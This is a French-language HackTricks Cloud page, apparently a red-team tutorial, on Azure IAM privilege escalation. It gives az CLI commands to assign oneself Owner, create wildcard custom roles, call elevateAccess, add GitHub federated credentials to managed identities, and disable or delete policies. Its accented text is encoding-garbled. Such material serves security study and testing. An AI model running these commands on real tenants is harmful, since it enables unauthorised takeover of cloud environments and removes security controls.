Az - Azure IAM Privesc (Authorization)
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Azure IAM
Pour plus dâinformations, consultez :
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
Cette permission permet dâassigner des rĂŽles Ă des principals sur une portĂ©e spĂ©cifique, permettant Ă un attacker dâescalader ses privilĂšges en sâassignant un rĂŽle plus privilĂ©giĂ© :
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
Cette permission permet de modifier les permissions accordĂ©es par un rĂŽle, permettant Ă un attacker dâescalate privileges en accordant plus de permissions Ă un rĂŽle quâil a assignĂ©.
Créez le fichier role.json avec le contenu suivant :
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Ensuite, mettez à jour les autorisations du rÎle avec la définition précédente en appelant :
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
Cette permission permet dâĂ©lever les privilĂšges et de pouvoir attribuer des permissions Ă nâimporte quel principal sur des ressources Azure. Elle est destinĂ©e Ă ĂȘtre attribuĂ©e aux Entra ID Global Administrators afin quâils puissent Ă©galement gĂ©rer les permissions sur les ressources Azure.
Tip
Je pense que lâutilisateur doit ĂȘtre Global Administrator dans Entra ID pour que lâappel elevate fonctionne.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Cette permission permet dâajouter des Federated credentials aux managed identities. Par ex. donner accĂšs Ă Github Actions dans un repo Ă une managed identity. Ensuite, elle permet de accĂ©der Ă nâimporte quelle managed identity dĂ©finie par lâutilisateur.
Commande exemple pour donner accĂšs Ă un repo sur Github Ă une managed identity :
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Un attaquant disposant de la permission Microsoft.Authorization/policyAssignments/write ou Microsoft.Authorization/policyAssignments/delete sur un management group, subscription ou resource group peut modifier ou supprimer des Azure policy assignments, et potentiellement désactiver des restrictions de sécurité qui bloquent certaines opérations.
Cela permet dâaccĂ©der Ă des ressources ou fonctionnalitĂ©s qui Ă©taient prĂ©cĂ©demment protĂ©gĂ©es par la policy.
Supprimer une policy assignment :
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Désactiver une affectation de stratégie :
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Vérifier les modifications :
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
Un attaquant disposant de lâautorisation Microsoft.Authorization/policyDefinitions/write peut modifier les Azure policy definitions, en changeant les rĂšgles qui contrĂŽlent les restrictions de sĂ©curitĂ© dans lâensemble de lâenvironnement.
Par exemple, une policy qui limite les rĂ©gions autorisĂ©es pour la crĂ©ation de ressources peut ĂȘtre modifiĂ©e pour autoriser nâimporte quelle rĂ©gion, ou lâeffet de la policy peut ĂȘtre changĂ© pour la rendre inefficace.
Modifier une définition de policy :
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Vérifier les modifications :
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Un attaquant disposant de la permission Microsoft.Management/managementGroups/write peut modifier la structure hiĂ©rarchique des groupes de gestion ou crĂ©er de nouveaux groupes de gestion, sâaffranchissant potentiellement des politiques restrictives appliquĂ©es Ă des niveaux supĂ©rieurs.
Par exemple, un attaquant peut créer un nouveau groupe de gestion sans politiques restrictives puis y déplacer des abonnements.
Créer un nouveau groupe de gestion :
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Modifier une hiérarchie de management group :
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Vérifier les modifications :
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
Un attaquant disposant de la permission Microsoft.Management/managementGroups/subscriptions/write peut déplacer des subscriptions entre management groups, et potentiellement contourner des policies restrictives en déplaçant une subscription vers un groupe disposant de policies moins restrictives ou sans policies.
Déplacer une subscription vers un management group différent :
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Vérifier les modifications :
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

